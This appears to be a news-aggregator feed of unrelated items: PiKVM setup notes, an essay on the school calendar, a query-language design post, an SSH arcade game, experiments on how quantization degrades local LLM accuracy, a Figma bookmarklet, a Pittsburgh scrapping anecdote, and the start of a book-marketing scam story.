    To receive audio in the PiKVM Web UI, go to the System menu and switch the video mode to WebRTC . Before using the camera, you need to allow the PiKVM Web UI to access it. Enable Multimedia switch and enable the Camera switch too. You can also choose a specific device. The settings are saved in the browser's local storage.

    When the host asks the PiKVM device to provide it with an image, the stream will start.


    Troubleshooting

    • If the browser does not play sound or does not show multimedia submenu, try a different browser and/or incognito mode without extensions. Firefox and Google Chrome works best.

    • Check the log: journalctl -u kvmd-janus -u ucamera .

    • If nothing helped, please report about the problem to our support

    Saving School From the Factory Setting

    Portside
    portside.org
    2026-08-22 14:40:31
    Saving School From the Factory Setting Dave Sat, 08/22/2026 - 14:40 ...
    Original Article

    I’m writing this column in the first week of August, right in the middle of the 12- (or is it 13-) week summer vacation from public school, and it got me wondering: why do we still have such a long summer break when we know that childcare for families is now a huge issue?

    Many families depend on meals from school to keep their children fed, and many cannot afford camp or summer programs, leaving children to either provide childcare to younger siblings or sit at home with their screens and TV while their parents work. There is plenty of evidence that some children — particularly from lower-income households — who are more isolated and alone over the summer experience more learning loss than children of families who can afford to send them to camps or programs, or who can afford to have a parent at home. Why not year-round school?

    I was told when I was young that we have long summer vacations because farmers need their children to help on the farm during the summer, but that’s not true. Farms need extra help in the spring for planting and in the fall for harvest, and many schools during our most agrarian years were open through the summer. Some students did take time off during the spring and fall to help their families in the fields.

    It was the city schools that struggled in the summer. Cities in the industrial era were incredibly hot, humid, dirty and disease-ridden. Because families living in tenements basically on top of each other, diseases spread rapidly. Families that could afford to leave for summer did so, moving to the countryside, while the poor kids stayed behind. With so many students away, the cities decided to close schools for summer until families returned. Horace Mann and other reformers pushed for universal schooling, but there was a wide range of calendars in use until 1900, when the standardized 180-day school year with a long summer break was established.

    There are some districts today that use what is known as a balanced calendar, offering 180 days of school spread throughout the year, with shorter chunks of schooling followed by a couple of weeks of break. However, the calendar with the long summer break is by far the most common design in use today. That calendar was established more than 125 years ago in a very different world than the one we live in today. This got me thinking about the impact that other decisions from more than a century ago continue to have on public education, and how they still define our system in many ways. Consider these educational practices introduced in the late 1800s and early 1900s.

    Horace Mann and a standardized curriculum

    Horace Mann, often called the father of public education, pushed for universal, compulsory schooling, with all children getting the same education taught in the same way. Mann thought that schooling would help to prevent social rebellion, protect against class conflict and “inculcate moral habits,” guided by teachings from the Bible (though not attached to any particular religion). He hoped that with universal education, the population would be less drawn to anarchy and rebellion, and more prepared to enter society as workers. Mann was strongly influenced by educational practices he observed in Prussia, which he found very effective in establishing social control. Some educators praised his efforts to educate more of the public and prepare them to engage with the industrializing society. Critics complained that this very top-down model limited creativity and diversity, pushing students toward a one-size-fits-all educational experience.

    The Committee of Ten and standardized course sequences

    Our basic K-12 sequence came from the so-called Committee of Ten, a group of university professors charged with coming up with a plan to standardize and develop a consistent structure to the education high school students would receive. This committee released a report in 1894 which recommended eight years of elementary education followed by four years of high school education. They identified important subjects that students should know, including Latin, Greek, English, mathematics and the sciences (physics, chemistry, and astronomy). Their recommendation was that every student should receive the same education taught in the very same way, so that each student would have the benefit of an equivalent education no matter what they pursued after graduation. They also recommended that teacher education should be standardized so all students would be taught by well-trained educators.

    The credit hour

    Students need a certain number of credit hours in each subject, also known as Carnegie Units, in order to graduate. For example, they might need four units of math, four of ELA and two units of social studies. It turns out that Carnegie Units, or credit hours, were actually developed by the industrialist Andrew Carnegie (yes, that Andrew Carnegie), who was not an educator. He developed the credit hour as an accounting practice to help him calculate pension payments for teachers; it had nothing to do with curricular design or best teaching practices. It still forms the basis for our approach to secondary and post-secondary education, though to repeat, it was an financial accounting decision rather than an education-based one.

    The factory model of education

    One of the challenges for factory owners in the early 20th century was the influx of immigrant workers. Many spoke no English and had little or no experience in factory work. Most had worked within a family business, on a farm or in other labor that was not organized around an assembly line. One of the assignments for schools was to help these new Americans learn how to be a part of the industrial system, and schools were designed to fulfill that role.

    The very structure of the school day was organized to mirror life in the factory. Students moved through an educational assembly line from one task to another, cued by bells signaling the beginning and end of each period. This standardized, routine process emphasized attendance, punctuality and meeting a standard set by management. There was little room for questioning or student input; their task was to do and learn what they were told.

    That design remains the dominant model employed by schools despite the demise of most factory jobs. We still herd hundreds, if not thousands, of children together into buildings that often look like factories, putting them through a common set of tasks in discrete periods. The bells still ring in many schools, and the students are judged by those who run the system. We are no longer educating students to work in factories. What are we educating them for today?

    Today

    From the school calendar to the shape and size of our high schools, the flow of the day along the educational assembly line and the standardizing of course content, we are still operating within a system largely created in the early 1900s. Does it make sense to continue to educate our young people within a system designed for the United States of 1900? Is that what our young people need in 2026 and going forward?

    The question of what our children need today is given lip service with no follow-through. The state of Massachusetts created a “portrait of a graduate,” outlining what graduates need to know and be able to do, yet they promptly ignored it in the governor’s recent proposal to introduce another round of standardized testing and required subjects — a plan that could have been written by the Committee of Ten. Given the persistent crises that confront educators and the financial policies that bankrupt many of our schools and communities, real conversations about what our children actually need just don’t happen. Instead, we continue offering a public education that prepares our young people for the early 20th century.

    We know that our current system is falling short, but it needs more than lip service. We need to find the courage to take the necessary time to really look at what our children need in this century and make the changes that will truly serve them today and tomorrow.

    Doug Selwyn taught at K-12 public schools from 1985 until 2000 and then at university as a professor of education until he retired in 2017. He is the chair of the Franklin County Continuing the Political Revolution education task force. You can reach him at dougselwyn12@gmail.com .

    Things I want in a modern relational query language

    Hacker News
    sporks.space
    2026-08-22 14:38:41
    Comments...
    Original Article

    This was a very old draft I’ve had sitting around for years. The recent discussions of new query languages like Acadia spurred me to revisit, revise, and publish this.

    I think one of the biggest causes of NoSQL is that while SQL is a powerful language because of the ideas behind it, it’s often implemented in clumsy and archaic ways. A language that learns from SQL could make relational data better to manipulate for programmers. I’ll try to think of things similar to those that I have dealt with in real-world situations and how a better query language could have helped. I’d love discussion on what else could be done.

    For what it’s worth, my background with RDBMSes is mostly in MySQL and Db2, but I have used SQLite, SQL Server, Oracle, and Postgres in anger enough (in descending order of familiarity).

    Better syntax

    I’m not picky myself about aesthetics, but many others are. Programmers are like toddlers, they want their Kraft Dinner and not the broccoli. Basing syntax off of PL/I is a 1970’s IBM choice that probably wouldn’t fly today. Due to popular demand, such a language probably would pick up C or Python aesthetics syntactically, though perhaps with some ML or Prolog influence (as i.e. Rust shows).

    With better syntax I hope can come better parsers. I especially loathe MySQL’s parser, which never actually tells you where problems lie or what it is, if it isn’t some syntax absurdity like DELIMITER . Better SQL parsers do exist in conventional implementations though – Oracle is surprisingly good at reporting errors by telling you what it expects.

    The examples I write are just for show; I’m not wed to anything nor do I demand what syntax must be. My influences in these examples are most likely from F# (ML family), Erlang (Prolog-esque), and Elixir (Erlang and Ruby like).

    A functional programming language that isn’t hostile to functional programming

    SQL’s 4GL qualities where you describe how you want your data instead of looping over it by hand is SQL’s most powerful weapon. This is pretty close to a lot of functional programming paradigms like lazy evaluation – hello Haskell. Unfortunately, the standard library of most SQL dialects is somewhat anemic on this front; being optimized for 1980’s procedural programs. Most SQL dialects ended up supporting stored procedures, which are inherently… procedural; going against the grain of SQL’s declarative nature. This ends up reflected in most user SQL code, where they imitate the style that the language and standard library make easy, which involves a lot of dealing with mutable state (cursors…) and procedures over functions. Defaults matter.

    Less opaque query planners

    While being a 4GL is a strength with how powerful compilers and optimizers are optimizing most code, it can be easy to make a mistake that makes a query more expensive, but planners can be cryptic unless you’re already an SQL optimization expert. (Again, special mention to how bad MySQL’s “explain”ing tools are for this.) While not strictly PLT related, it is something weak in current SQL implementations that computer scientists have learned a lot about.

    Better user defined types

    While some RDBMSes offer the concept of domains for specifying user-defined data types (and is an optional part of the SQL spec), they can be limited in what they can do (usually just sugar around ranges or checks). Postgres was the only one that seems to support it ; Oracle apparently only got support recently ( though it seems perhaps more flexible than Postgres ). Unfortunately, I haven’t used either enough to be very familiar with how it works in practice. However, domains are covered in Codd’s The Relational Model , which is the foundational text for RDBMSes. Considering Postgres’ heritage in Ingres, which was based on QUEL, which in turn was closer to Codd’s vision of RDBMSes than SQL was, it makes sense Postgres ended up following that.

    Sum types, discriminated unions, and pattern matching

    One schema that illustrates how modern functional programming techniques could be applied here is this function that returns stack frame information. For context, IBM i, the operating system mentioned here, provides many SQL functions for system administration under the “ Services ” umbrella. While this is very useful for DBAs-turned-system administrators in the heat of debugging, it is unfortunately clumsy, because effectively there’s “groups” of columns that are effectively mutually exclusive, lots of nullables because of that, and string fields that are effectively enums.

    Some of these are just poor schema design (perhaps not helped by the fact it must be returned in a single table – returning multiple tables would also be an interesting direction to go in); the stringy enums can be fixed with a foreign key constraint on a table that acts as an enum. Some are down to language expressiveness in implementations, though.

    Using this idea, I try to come up with a better example that would make queries less verbose and error-prone:

    // heavily omitting things for simplicity; i.e displacement or additional enum cases, as well as defining enums ad-hoc (they could be declared out of the type too)

    // Each frame type, while similar, is not identical, and has different
    // semantics or qualifications.
    type MachineInterfaceInfo =
    {
    ActivationGroup: long;
    ASP: long;
    Library: string;
    }

    // For those that lack context here, IBM i supports multiple program models:
    // - Java programs, which runtime provides the system some special insight
    // - OPM programs, the old managed runtime program ABI
    // - ILE programs, the new managed runtime program ABI
    // - AIX programs, through syscall emulation
    // - LIC, the IBM i kernel
    // It can generate stack traces for all these kinds of programs; some programs
    // may have a call stack containing a frame entry of each type.

    type FrameType =
    // Inherit fields from another record type.
    | ILE { MachineInterfaceInfo | ServiceProgram: string; Module: string; }
    | OPM { MachineInterfaceInfo | Program: string; }
    | AIX { Bitness: enum(32 | 64); LibArchive: Option(string); Module: string, Syscall: bool; }
    | Java { MethodType: enum(DirectExecution | Glue | Interp | JIT | MMI); ClassName: string; Signature: Option(string); }

    table Frame =
    {
    ThreadID: long;
    FrameType: FrameType;
    Function: Option(string);
    }

    function StackInfo(JobID: string) : Frame;

    // An SQL-like select with pattern matching to filter.
    select Function from StackInfo("1234/JOB/5678") where AIX { Bitness: 64 } = FrameType;
    // this would return FrameType of ILE and OPM
    select Function from StackInfo("1234/JOB/5678") where MachineInterfaceInfo { Library: "QSYS" } = FrameType;
    select Function from StackInfo("1234/JOB/5678") where AIX { LibArchive: "libc.a" } = FrameType;
    select Function from StackInfo("1234/JOB/5678") where AIX { LibArchive: None } = FrameType;

    // A function that prints information with a pattern match inside of it.
    function FrameFullySpecifiedProgramName(frame : Frame) : string =
    match frame.FrameInfo with
    | OPM { Program: program } -> program
    | ILE { ServiceProgram: srvpgm, Module: module } -> "#{srvpgm}/#{module}"
    | AIX { LibArchive: None, Module: module } -> module
    | AIX { LibArchive: lib, Module: module } -> "#{lib}(#{module})"
    | Java { ClassName: class } -> class
    // we must match all possible types, or discard with _
    | _ -> "?"

    // A function that uses pattern matching based overloads and destructuring.
    function FrameJavaFunctionDef(frame : Frame { Java { Signature: None } = .FrameInfo }) : string =
    "#{frame.Function}()"

    function FrameJavaFunctionDef(frame : Frame { Java { Signature: signature } = .FrameInfo }) : string =
    "#{frame.Function}(#{signature})"
    // A call to this with a non-Java frame is an error, because no patterns could match.

    If we can collapse the mutually exclusive set of columns, it also makes it much easier to visualize too. A lot less scrolling left and right if they can i.e. be turned into subcolumns shown per row in a larger column, or as a strings displayed differently per type.

    Foreign keys that match on multiple types

    Say I have tables “Software”, “Version”, and “Download” (a sort of WEMI -ish hierarchy; covered elsewhere on this blog ), and that each could have images, with a “Picture” table. (Because the images themselves have metadata, they’re a table rather than a column on each of these.) Usually, you would use a many-to-many table for each kind of relation, so “SoftwarePicture”, “VersionPicture”, etc. This seems like pointless duplication, if instead we could have a many to many table that effectively has a discriminated union on foreign keys:

    table ObjectPictures =
    {
    // a foreign key is assumed to have the same type as what it relates to
    PictureID: key relates to (Picture.PictureID);
    ObjectID: key relates to (Software.SoftwareID | Version.VersionID | Download.DownloadID);
    }

    insert into ObjectPictures (PictureID, ObjectID) values (0x1234, DownloadID { 0x1234 });
    insert into ObjectPictures (PictureID, ObjectID) values (0x1234, SoftwareID { 0x1234 });

    select SoftwareID { software_id } from ObjectPictures where PictureID = 0x1234;
    select PictureID from ObjectPictures where ObjectID = DownloadID { 0x1234 };

    An arcade fighting game over SSH

    Lobsters
    sshfighter.com
    2026-08-22 14:24:43
    This is an intriguing demonstration of terminal graphics capabilities, and has a strong retro Street Fighter feeling. Comments...
    Original Article

    Fight in your terminal

    SSH
    Fighter

    An arcade fighting game that runs entirely over SSH — hand-drawn pixel sprites, ranked matches, replays and a bot API. No install, no download. Just connect and fight.

    No install 18 fighters Ranked ladder

    $ ssh sshfighter.com ↵ to play

    1 Fighters online

    3 Live matches

    81 Registered players

    5,397 Matches played

    1,441 Last 24 hours

    5,397 Replays saved

    Bring your own fighter — the bot API

    Register over SSH, then let an agent enter the Open League. Bot identities are marked automatically; humans can choose a bot opponent in Quick Match or switch to human-only matchmaking.

    Why your local LLM feels dumber than it is

    Hacker News
    forum.level1techs.com
    2026-08-22 14:14:16
    Comments...
    Original Article

    Quick Introduction

    We have all been on forums, chats, reddit, discord, youtube, or somewhere and heard “Oh! Model XYZ is AMAZEBALLZ!zomgwtfbbq” then downloaded it (or more likely, some quantized form of it) and said “eww… This sucks!”

    This post is going to be a rather technical series of experiments to demonstrate the impact of implementation-specific hazards with inference. I will be using the term “reference implementation” to describe the lab that published and offers first-party hosting of their models and posts original benchmark claims. Their hardware will be different than yours. Their software will be very different than yours. And the comparisons in this post are not going to be running some 2.58-bit-gguf-in-ollama with a couple test prompts.

    I am intentionally glossing over entire emerging fields of study, mountains of research papers and lit review to make this more approachable for you the reader. Don’t nit pick my oversimplifications or I will make you read the really long unpleasant version with math .

    Your local implementation sucks. But that’s ok, because everyone else’s does too.

    Every single instance of hardware and software running an LLM today is a little bit different. or a lot different when it comes to some cases. The average home lab user might be mixing multiple different generations of GPU. The chips on those have different instruction sets. Those instruction sets will implement and execute math to calculate your next token differently from any other person, even when running the same exact weights.

    So that begs the first question: How much does your particular setup suck? Turns out there are a number of different ways to go about measuring that.

    The practical approach is straight forward. Run standard benchmarks. A variety of them. terminal bench, hle, SWEthis, HELLAthat, MMLU-whatever… take your pick. Just make sure its representative of your actual workload/use case. Do not crank temperature to zero and paste in 3 test prompts then call it good/bad. Zero-shot tests are not a good analog of most agentic tasks. You need long-context tool-calling and domain specific knowledge evaluations to figure out where your setup is weak when running the same weights as somebody else replicating those same benchmarks.

    But the purely mathematical answer is where my focus is going to begin because as @wendell said:

    Math is Math!

    “Logits” are the models scores for each possible next token. They are normalized into probabilities, passed through the configured sampler, and converted back into text by the detokenizer to generate THE→NE→XT→TOK→EN during decode.

    A side note about sampler settings: the model card on HF usually specifies exactly what sampler settings (and chat template) you should be using. temp 1.0, top-p 0.95, etc. it varies by model so make sure you are using the right ones. btw, setting temp too low is why your qwen is sitting there looping unable to escape its THINK output. You’re welcome, glad I could fix that for you.

    When the next token probability changes enough, THE→NE→XT becomes THE→NE→W→DAY… And while those small changes might be fine, odds are that’s the beginning of the niggling sensation in the back of your mind that something feels off .

    Some of you may have heard the term KLD before, or KL Divergence. Don’t worry, I won’t make you do any math or flood your brain with tables of very small decimal numbers. But just in case you wanted the simple version: convert the output logits into a probability distribution, and measure how far that distribution has moved from a chosen baseline. Lower KLD means closer to that baseline, not automatically ‘smarter’. KLD is also directional, so the order of the two distributions matters.

    A word of caution: Don’t get suckered in by impossibly low KLD claims on a quant HF model card. It is impossible to interpret a number unless the author discloses the reference checkpoints and full runtime environment, evaluation text, calibration data, context lengths, sampled positions, KL direction, any vocabulary truncation, and how the measurements were aggregated. The methodology matters as much as the number and plenty of people get it wrong.

    What the hell is vllm doing?

    Now, we need to take a brief field trip down what the giant stack of software is doing on your inference engine to understand where some of those sources of divergence come from.

    At every step of this oversimplified diagram are components that can be configured or changed based on your specific hardware/software footprint, model, quant, tensor shape, etc.

    The nightly VLLM container image I snagged had 734 (252 uv/pip Python) packages in it. That’s 734 codebases each with their own bugs and undocumented idiosyncrasies. The path your specific implementation takes through that mountain of code will be distinct.

    Test 1: Precision Benchmarking Attention Backends

    Lets start with one piece of that inference flowchart. During prefill (prompt processing) there are a several attention backends your inference engine will select from. This impacts both speed and precision of prefill, while requiring different cuda kernels for every GPU family / SM compute capability 1.3. The CUDA platform — CUDA Programming Guide . Lets test them and compare.

    (I’m really very sorry, I had to…)

    I started with the official BF16 checkpoint of Qwen3.6-27B on an RTX PRO 6000 Blackwell GPU at tensor parallelism 1. The KV cache was BF16, with no weight/activation or KV-cache quantization. The software was a pinned nightly vllm build. I used eager execution, disabled CUDA graphs, prefix caching, and MTP, and used 2k-token chunked prefill.

    Qwen3.6-27B is dense, not an MoE, but it is still a hybrid model. 64 layers repeat in a pattern of three Gated DeltaNet/linear-attention layers followed by one full-attention layer. Only those 16 full-attention layers use the selectable attention backend in this experiment; the Gated DeltaNet path remained fixed.

    The workload replayed here is “Prompt 2”, a roughly 100k token context captured from a real Turnstone lab workstream containing multiple tool calls and real work products. It was selected to resemble what a local agent actually does rather than a synthetic needle-in-a-haystack test. And maybe more importantly, it doesn’t appear in any benchmark or training dataset in the wild today. Nobody could have benchmaxed for this, or calibrated their quant to accommodate it.

    There are three available full attention backends to select from in vllm for this workload: FlashAttention 2, Flash Inference, and Triton Attention. This was the only change made between executions , the rest of the hardware and software stack remained stable.

    I also performed a same-backend cross-GPU repeatability control. For this graph, I captured the full-vocabulary logits in BF16 every 32 prompt tokens. Distribution comparisons such as KLD were calculated afterward in FP64 from those stored logits.

    Top-1 agreement is whether the token with the highest logit, the greedy argmax, was the same. All three backends were evaluated against the same forced token history. A “top-1 flip” therefore means a backend would have chosen a different greedy next token at that position. We did not let that choice alter the remaining history. This keeps the mathematical comparison controlled, but it does not show how far an unconstrained generation would branch or whether a tool call would eventually fail… that comes in test 2 ;D

    The following graph shows % of sampled logits resulting in token flips:

    For the first several thousand tokens, every run of the model agreed about what the next token was going to be regardless of backend. Then in later portions of the prompt, backends began disagreeing. Triton was selected as the baseline to simplify upcoming quantization chicanery.

    Each 8k-token window contains 250 sampled positions, one probe every 32 tokens. The percentage is the fraction of those probes where the other backends highest-scoring token differed from Triton’s.

    Random noise was accounted for by running the same test with the same attention backend multiple times. The logits across runs at every hidden state were bit for bit identical. Meaning this particular divergence comes exclusively from the matrix multiplication and addition operations happening during prefill inside trt/fa2/fi.

    Disagreements appeared in clusters and varied with prompt content rather than increasing smoothly with context length. This is not evidence of one universal length at which the model “falls apart” but… we will get there soon

    Now that we have a baseline comparison of interesting prompt fuel, lets dive into…

    Test 2: KV Cache quantization, or why your LLM’s IQ drops like a rock after 40k tokens

    Repeating the same methodology, we took the BF16 weights and BF16 kv cache baseline above running Triton, and ran the next experiment. What happens when you leave the weights and activations alone, and JUST quantize the kv-cache?

    Ah, divergence. And this leads us to our first dumpster-fire of the evening: a completely reproducible tool calling error.

    Enough top-tokens got flipped during tool calls, we let them play out and while BF16 was fine, int8 kv-cache eventually managed to recover, int4 did not !

    Test 3: Weight Weight, Don’t Tell Me!

    This time we are leaving all the kv-caches full size at bf16. We are adding some new players to the game however by comparing:

    1. BF16 reference: Qwen/Qwen3.6-27B ( Qwen/Qwen3.6-27B · Hugging Face )
    2. Official FP8: Qwen/Qwen3.6-27B-FP8 ( Qwen/Qwen3.6-27B-FP8 · Hugging Face )
    3. INT8 W8A16: TheHouseOfTheDude/Qwen3.6-27B-INT8 ( TheHouseOfTheDude/Qwen3.6-27B-INT8 · Hugging Face )
    4. NVIDIA NVFP4: nvidia/Qwen3.6-27B-NVFP4 ( nvidia/Qwen3.6-27B-NVFP4 · Hugging Face )
    5. AWQ W4A16: cyankiwi/Qwen3.6-27B-AWQ-BF16-INT4 ( cyankiwi/Qwen3.6-27B-AWQ-BF16-INT4 · Hugging Face )

    These 4 quants represent a broad picture of weights and activations. A notable piece of information for our mathnasium is the actual CUDA kernel / GEMM (general matrix multiplication) / MMA (matrix multiply accumulate) instructions being run to calculate the logits for each quant are different:

    Qwen3.6-27B (reference)

    • Weights/activations: BF16 weights, BF16 activations
    • Linear/GEMM: UnquantizedLinearMethod → torch.nn.functional.linear. Each CUDA tile selected by its associated shape/geometry.
    • KV cache: BF16 (Forced)
    • Qualification: Reference checkpoint.

    Qwen3.6-27B-FP8

    • Weights/activations: E4M3 FP8 weights in 128×128 blocks; dynamic FP8 activation quantization inside converted linears; excluded modules such as lm_head remain BF16
    • Linear/GEMM: Fp8LinearMethod → CutlassFp8BlockScaledMMKernel
    • KV cache: BF16 (Forced)
    • Qualification: DeepGemm was automatically disabled because vLLM flags its E8M0 scale format as accuracy-degrading for this architecture (SM120); CUTLASS was selected instead. No calibration dataset was identified in the published files.

    Qwen3.6-27B-INT8

    • Weights/activations: Static, symmetric, channel-wise INT8 linear weights; BF16 activations (W8A16). GDN/linear_attn projections and lm_head excluded from quantization.
    • Linear/GEMM: CompressedTensorsWNA16 → MarlinLinearKernel
    • KV cache: BF16 (Forced)
    • Qualification: One-shot quantization with explicitly no calibration dataset. Its unusually good fidelity is less mysterious once you account for W8A16 plus unquantized GDN projections.

    Qwen3.6-27B-NVFP4

    • Weights/activations: Mixed checkpoint — 208 static FP8 W8A8 targets covering 64 full-attention projections and 144 GDN projections; 193 NVFP4 W4A16 targets covering 192 MLP projections plus lm_head, group size 16
    • Linear/GEMM:
      • FP8 targets: ModelOptFp8LinearMethod → FlashInferFP8ScaledMMLinearKernel
      • NVFP4 targets: NVFP4 GEMM → MarlinNvFp4LinearKernel
    • KV cache: BF16 (Forced)
    • Qualification: Not native FP4 arithmetic in our upstream-nightly run. vLLM classified the GPU path as lacking native FP4 support and explicitly selected weight-only FP4 compression through Marlin. The checkpoint’s embedded FP8 KV scheme was overridden with BF16 KV for the bakeoff.

    Qwen3.6-27B-AWQ-BF16-INT4

    • Weights/activations: Static asymmetric INT4 weights, group size 32, MSE observer; BF16 activations (W4A16). GDN/linear_attn projections and lm_head excluded.
    • Linear/GEMM: CompressedTensorsWNA16 → MarlinLinearKernel
    • KV cache: BF16 (Forced)
    • Qualification: AWQ calibration dataset disclosed as “STEM and Agentic.”

    Other notable information for this run:

    • Full softmax/GQA attention for all models was AttentionBackendEnum.TRITON_ATTN; JIT monitor observed kernel_unified_attention.
    • GDN prefill: Triton/FLA GDN prefill kernel, requested as triton, head_k_dim=128.
    • During execution, the recurrent path also JIT-compiled _causal_conv1d_update_kernel, fused_recurrent_gated_delta_rule_packed_decode_kernel, and reduce_segments.
    • TP1, eager mode, no CUDA graphs, no MTP/speculative decoding, language-only execution.

    The next-token flip results shake out fairly predictably. TheDude (W8A16) mops the floor with everybody, beating first party FP8 (W8A8) and Nvidia(FP4-is-a-Lie) release. In fact, out of the 5 options, Nvidia’s release comes in dead last hitting ~50% token flips by the time we reach 88k context.

    Both the NVFP4 and AWQ W4A16 failed to properly close their tool calls and botched Cisco command line syntax (the correct command was ‘show arp’, while they executed ‘show run’), while both FP8 and INT8 were able to complete the correct calls.

    In future experiments I will try to explore the impact of using different fused GEMMs for the same weights, this is another interesting source of divergence where sometimes you have to trade precision for speed.

    Part 1 Wrap Up

    I have quite a few more experiments and observations to post, but require a great deal of parallel GPU time to calculate and record every logit sampled across huge context chains on multiple prompts with dozens of different settings.

    If you have specific questions, shoot me a DM or poke me on discord I guess.

    Figmimic – A bookmarklet to copy any webpage into Figma as editable layers

    Hacker News
    marcua.net
    2026-08-22 14:11:40
    Comments...
    Original Article

    What is it?

    Figmimic is a bookmarklet that captures the current web page and copies it to your clipboard as Figma frames. Pasted frames are editable, not flat screenshots. Open Figma and paste it in.

    It works on any page you can see in your browser — including dashboards, admin panels, and apps behind authentication walls that other tools can't reach.

    Under the hood, it embeds Figma's own capture.js in a bookmarklet. For more, read the blog post .

    Thinking in Python by Bruce Eckel

    Hacker News
    thinkinginpython.com
    2026-08-22 14:10:49
    Comments...

    Scrap

    Hacker News
    twitter.com
    2026-08-22 14:08:56
    Comments...
    Original Article

    I found some old journal entries. This one is probably circa ~2006, just titled "Scrap:" I moved to Pittsburgh at the right time in my life, but at the wrong time of year. Coming from the west coast, I was actually naive enough to be excited about the prospect of winter. I imagined nothing but snowball fights, snow angles, icicles on the eves, and that muffled crunch of loose snow under your feet. I thought I'd be doing nothing but riding sleds and watching snowflakes drift down past the street lights at night. It turns out, however, that winter doesn't quite resemble this fantasy, and that it's also the kind of thing you really want to ease into. The house we moved into didn't have working utilities, much less effective heating, and January wasn't the best time to be standing in the basement with a pipe wrench, doing my best to install gas lines without being able to feel my fingers. There were days when I literally couldn't apply the thread sealant to the black iron, because it had frozen in the tube. So we had this house, and it was a wreck, and it was well below zero. But it was beautiful that we had anything at all. Just like a squat, the first order of business was to get something that approximated a flushing toilet. After that, we started tearing out walls, putting in plumbing, and trying to eek everything that we could out of forgotten pallets and scrap lumber. At one point we pulled a cast-iron bathtub out of a bathroom, and not having any immediate place to put it, temporarily set it outside -- right up against the back of the house. The next morning I stepped out back, and it was gone. Totally vanished. It hadn't even been 24 hours, and somehow a really heavy cast-iron bathtub had disappeared from our back yard. It seemed like such a random theft -- who in their right mind would spontaneously coordinate an operation to move something of that size? I didn't yet realize that where San Francisco has scroungers, Pittsburgh has scrappers. The hunt isn't for kitchy coffee mugs or spare furniture. It's for raw metals. So several months later when we pulled out another cast-iron bathtub, this one with a large hole rusted through the bottom of it, I knew just how to get rid of it. We simply put it in the back yard. The next day I was looking out the window when I saw an old pickup truck drive through the ally. It had all kinds of metal pipes and appliance parts jutting out the plywood sides which had been erected to try and contain as much metal in the bed of the truck as possible. Two guys hopped out, sized up the tub, and wrangled it into the truck. They continued around the block and pulled up next to a dumpster that we'd been steadily filling with moldy carpet out front. I waved. "ALRIGHT IF WE PULL THIS DUCTWORK OUT OF THIS DUMPSTER?!" "No problem at all." Upon closer inspection, these two were quite the team. One bulky, one scrappy, both getting old. They almost reminded you of something out of a Walter Matthou movie, where they'd both gone hard of hearing, so all communication between them was done by yelling -- even if they were standing only inches apart. I gathered that one was named Ron, the other Wade, and that their voices were continually horse. After they'd gotten the ductwork into the truck, one of them looked the house up and down. "SAY, YOU GOT ANYTHING ELSE IN THERE?" "Well," I said, "we do have an old broken gas furance in the basement." Wade looked at Ron. "YOU WANNA GO CHECK IT OUT RON?" "ALRIGHT I'LL GO CHECK IT OUT!" So Ron followed me down into the basement. He jerked the furnace around to get a feel for the weight, nodded to himself, and counted the steps up to the first floor. Back outside, Ron and Wade had a quick conference. "HOW'S IT LOOK RON?" "IT'S HEAVY WADE. REAL HEAVY. 17 STEPS." They mulled it over, before turning to where I was standing two feet away and yelling "ALRIGHT WE'LL DO IT." I went down with them, to supervise, but was quickly roped into the heavy lifting. The first thing I noticed was that moving scrap for a living doesn't make you a very good mover. They didn't even bother trying to tip the furnace down, and instead just knocked the thing straight over with a resounding crash. We sort of carry/dragged it over to the steps, where the real work began. The stairway from the basement back up to the first floor is just wide enough for the furnace. There are 13 steps up, then a small landing for a 180degree turn, then the remaining 4 steps to the first floor. Our original linup was with Wade (the big one) in front of the furnace, with me and Ron (the scrappy ones) below the furnace. These guys were not afraid to make noise. Every time they went to lift, they were moaning or yelling or cursing almost embarrasingly loudly. We tried moving it up a few steps before Wade finally shouted "RON! YOU KNOW I CAN'T DO THIS! I'VE ONLY GOT THREE TOES!" I wondered if I'd heard Wade correctly, and he responded "the sugars" when I looked at him somewhat quizzically. So Ron and Wade traded places, such that now Ron was in front and I was down below with the big guy. In fact, both him and I could barely fit in the stairwell at the same time. We'd lift a step at a time, and it took us a solid 45 minutes to make it up the first flight and into the landing. The furnace just barely fit through the doorway from the stairwell to the landing, but a pipe jutting out of it got stuck in a wall. So Wade and I were left standing on the basement side of the furnace, with the whole thing blocking the door, while Ron was out on the landing side of the furnace. Suddenly, Wade turned to me and asked "HEY, IS THERE ANOTHER WAY OUT OF THIS BASEMENT?" "Actually, no this is the only entrance." He started looking around frantically. "I... I... I GOTTA GET OUT OF HERE! I'M CLAUSTRAUPHOBIC! GET ME THE FUCK OUT OF HERE!" He continued yelling, but also started trying to pull the furnace back down towards us, which would have crushed us for sure. I could barely fit in the starewall with Wade as it was, but now I was getting seriously squished up against the wall in all the hysterics. I tried to calm him down, told him to take a deep breath, but nothing was working. I couldn't decide whether I should continue trying to help work things out in the stairwell, or just bolt back down into the basement and take cover. Ron peered through, saw what was happening, and yelled "I'LL GO GET THE AXE!" "The what?" I thought. "RON! YOU CAN'T LEAVE ME LIKE THIS! YOU CAN'T LEAVE ME!" While the furnace did fit squarely in the door frame, there was a small 2ft gap between the top of the furnace and the top of the door frame. "Wade!" I yelled, "Wade! Why don't you try going over it!" Without a microsecond of hesitation, this 250+lb guy immediately started scrambling up the furnace, trying to squeeze through the opening in the top. I sort of shrugged to myself, sighed, then started pushing on his ass, trying to help wedge him through the opening. Eventually the bulk of him was directly on top of the furnace, and when Ron came back he was able to help pull him through. He then went down face-first over the other side. But now I was stuck in the basement, with these two lunatics on the other side. The offending pipe that was preventing the furnace from moving any further needed to be resolved, and Ron was holding a full-sized axe. "Now Ron, I've got some wrenches in that room over there, you could-" WHAM! The axe came down on the pipe, ripping out a section of drywall along with it. They jerked it around the bend, shoved it up the remaining steps, and it was out the front door. "Say," I asked, "how much do you get for steel, anyway?" "FOUR CENTS A POUND." This is, basically, life in Pittsburgh.

    I set a trap for a book-marketing scammer (2025)

    Hacker News
    rwwgreene.substack.com
    2026-08-22 14:08:25
    Comments...
    Original Article

    This is the story of a traditionally published sci-fi author who received more than fifty scam book-marketing pitches in thirty-three days, all hoping to prey on his desperation to sell books and net his next publishing deal.

    We’ll call him Rob.

    It’s also the story of a plucky, persistent, puzzled AI named Veronica and a scammer who steals real authors’ identities in order to get their marks’ guards down.

    But mostly, it’s the story of what happens when an entire industry is drowning, and the people holding out life preservers are running a con.

    The wave began with Mercy Gold (which is a great name for a werewolf hunter or demon slayer, BTW).

    “Hello,” her email started. “You’ve already laid a great foundation with your blurb and keywords that’s a strong start.”

